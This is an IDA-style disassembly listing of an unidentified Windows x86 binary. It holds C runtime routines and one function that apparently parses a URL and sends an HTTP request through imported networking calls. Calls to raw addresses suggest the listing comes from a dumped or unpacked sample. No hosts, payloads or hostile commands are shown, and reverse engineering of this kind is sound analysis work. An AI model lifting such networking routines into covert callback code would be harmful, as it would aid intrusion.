		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98C
		push	edx
		push	eax
		push	offset dword_43A030
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF6	proc near		; CODE XREF: sub_401ACD+279Cp
					; sub_401ACD+72F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB05C, 0
		jnz	short loc_41AD62
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CAE38
		test	eax, eax
		jnz	short loc_41AD4B
		lea	eax, [ebp+var_8C]
		push	offset dword_43A194
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AD4B:				; CODE XREF: sub_41ACF6+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD58
		push	offset dword_43A18C
		jmp	short loc_41AD5D
; ---------------------------------------------------------------------------


loc_41AD58:				; CODE XREF: sub_41ACF6+59j
		push	offset off_43A188


loc_41AD5D:				; CODE XREF: sub_41ACF6+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7A
; ---------------------------------------------------------------------------


loc_41AD62:				; CODE XREF: sub_41ACF6+28j
		mov	esi, offset off_43A184
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41AD7A:				; CODE XREF: sub_41ACF6+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A140
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB5	proc near		; DATA XREF: sub_401ACD+7714o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A274
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CAE70
		test	eax, eax
		jz	loc_41AF4F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AE8C:				; CODE XREF: sub_41ADB5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAA
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEAA:				; CODE XREF: sub_41ADB5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEC4:				; CODE XREF: sub_41ADB5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEDE:				; CODE XREF: sub_41ADB5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CAF24
		call	dword_4CAF48
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF67
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CAF3C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CAEE8
		test	eax, eax
		jz	short loc_41AF48
		push	offset dword_43A258
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF48:				; CODE XREF: sub_41ADB5+18Aj
		push	offset unk_43A21C
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF4F:				; CODE XREF: sub_41ADB5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A200
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF81
; ---------------------------------------------------------------------------


loc_41AF67:				; CODE XREF: sub_41ADB5+153j
		push	offset unk_43A1D4
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF6E:				; CODE XREF: sub_41ADB5+17Bj
		push	offset unk_43A1A4


loc_41AF73:				; CODE XREF: sub_41ADB5+191j
					; sub_41ADB5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AF81:				; CODE XREF: sub_41ADB5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAC
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A72
		add	esp, 14h


loc_41AFAC:				; CODE XREF: sub_41ADB5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	esi
		call	dword_4CAFA8
		push	[ebp+var_4]
		call	dword_4CAFA8
		push	[ebp+var_1D8]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26C0000h
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41ADB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000


loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0


loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------


loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DAp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------


loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------


loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi


loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB31+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi


loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2770000h


loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F089p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------


loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]


loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax


loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]


loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------


loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	loc_41B342


loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DC900
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi


loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h


loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5


loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi


loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2780000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi


loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h


loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A


loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi


loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		call	near ptr 2820000h
		nop
		mov	edi, eax


loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B


loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB2FC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------


loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi


loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C2F4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi


loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h


loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B


loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2780000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi


loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------


loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		call	near ptr 2820000h
		nop
		mov	edi, eax


loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B


loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB2FC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------


loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi


loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		call	near ptr 2820000h
		nop
		test	eax, eax
		jnz	short loc_41B49D


loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB2FC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D


loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax


loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------


loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB31+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB2FC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510


loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE


loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DC908
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DC900
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------


loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi


loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C2F4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------


loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi


loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2780000h


loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx


loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3


loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
